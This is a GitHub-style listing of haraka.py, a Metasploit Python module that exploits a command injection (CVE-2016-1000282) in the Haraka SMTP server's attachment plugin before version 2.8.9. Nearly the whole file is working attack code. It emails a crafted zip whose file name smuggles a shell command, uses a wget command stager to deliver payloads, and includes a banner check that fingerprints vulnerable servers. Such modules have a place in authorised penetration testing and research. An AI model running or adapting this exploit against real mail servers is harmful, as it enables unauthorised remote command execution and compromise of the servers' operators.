/
haraka.py
executable file
·190 lines (170 loc) · 5.51 KB
/
haraka.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/env python3
# Vendor Homepage: https://haraka.github.io/
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# Thanks to: Dexlab.nl for asking me to look at Haraka.
import smtplib
import re
from distutils.version import StrictVersion
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import zipfile
try:
# Python 2 plain strings are bytes
from StringIO import StringIO as BytesIO
except ImportError:
from io import BytesIO
from metasploit import module
metadata = {
"name": "Haraka SMTP Command Injection",
"description": """
The Haraka SMTP server comes with a plugin for processing attachments.
Versions before 2.8.9 can be vulnerable to command injection
""",
"authors": [
"xychix <xychix[AT]hotmail.com>",
"smfreegard",
"Adam Cammack <adam_cammack[AT]rapid7.com>",
],
"date": "2017-01-26",
"references": [
{"type": "cve", "ref": "2016-1000282"},
{"type": "edb", "ref": "41162"},
{"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
],
"type": "remote_exploit_cmd_stager",
"rank": "excellent",
"wfsdelay": 5,
"privileged": True,
"targets": [
{"platform": "linux", "arch": "x64"},
{"platform": "linux", "arch": "x86"},
],
"payload": {"command_stager_flavor": "wget"},
"options": {
"email_to": {
"type": "string",
"description": "Email to send to, must be accepted by the server",
"required": True,
"default": "admin@localhost",
},
"email_from": {
"type": "string",
"description": "Address to send from",
"required": True,
"default": "foo@example.com",
},
"rhost": {
"type": "address",
"description": "Target server",
"required": True,
"default": None,
},
"rport": {
"type": "port",
"description": "Target server port",
"required": True,
"default": 25,
},
"command": {
"type": "string",
"description": "Command to run on the target",
"required": True,
"default": "/bin/echo hello",
},
},
"notes": {"AKA": ["Harakiri"]},
}
def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart()
html = "harakiri"
msg["Subject"] = "harakiri"
msg["From"] = mfrom
msg["To"] = to
msg.attach(MIMEText(html))
module.log(
"Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
% (to, cmd, mailserver),
"debug",
)
part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
msg.attach(part)
module.log("Sending mail to target server...")
module.log(msg.as_string(), "debug")
s = smtplib.SMTP(mailserver, port)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError as err:
if err[0] == 450:
module.log("Triggered bug in target server (%s)" % err[1], "good")
s.close()
return True
module.log("Bug not triggered in target server", "error")
module.log(
"it may not be vulnerable or have the attachment plugin activated", "error"
)
s.close()
return False
class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = BytesIO()
def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self
def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
def create_zip(cmd="touch /tmp/harakiri"):
z1 = InMemoryZip()
z2 = InMemoryZip()
z2.append(
"harakiri.txt",
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
)
z1.append('a";%s;echo "a.zip' % cmd, z2.read())
return z1.read()
def check_banner(args):
module.log(
"{}:{} Starting banner check for Haraka < 2.8.9".format(
args["rhost"], args["rport"]
),
level="debug",
)
c = smtplib.SMTP()
try:
(code, banner) = c.connect(args["rhost"], int(args["rport"]))
except:
return "unknown"
c.quit()
if code == 220 and "Haraka" in banner:
versions = re.findall("(\d+\.\d+\.\d+)", banner)
if versions:
if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
return "appears"
else:
return "safe"
else:
return "detected"
elif code == 220:
return "detected"
else:
return "unknown"
def exploit(args):
send_mail(
args["email_to"],
args["rhost"],
args["command"],
args["email_from"],
int(args["rport"]),
)
if __name__ == "__main__":
module.run(metadata, exploit, soft_check=check_banner)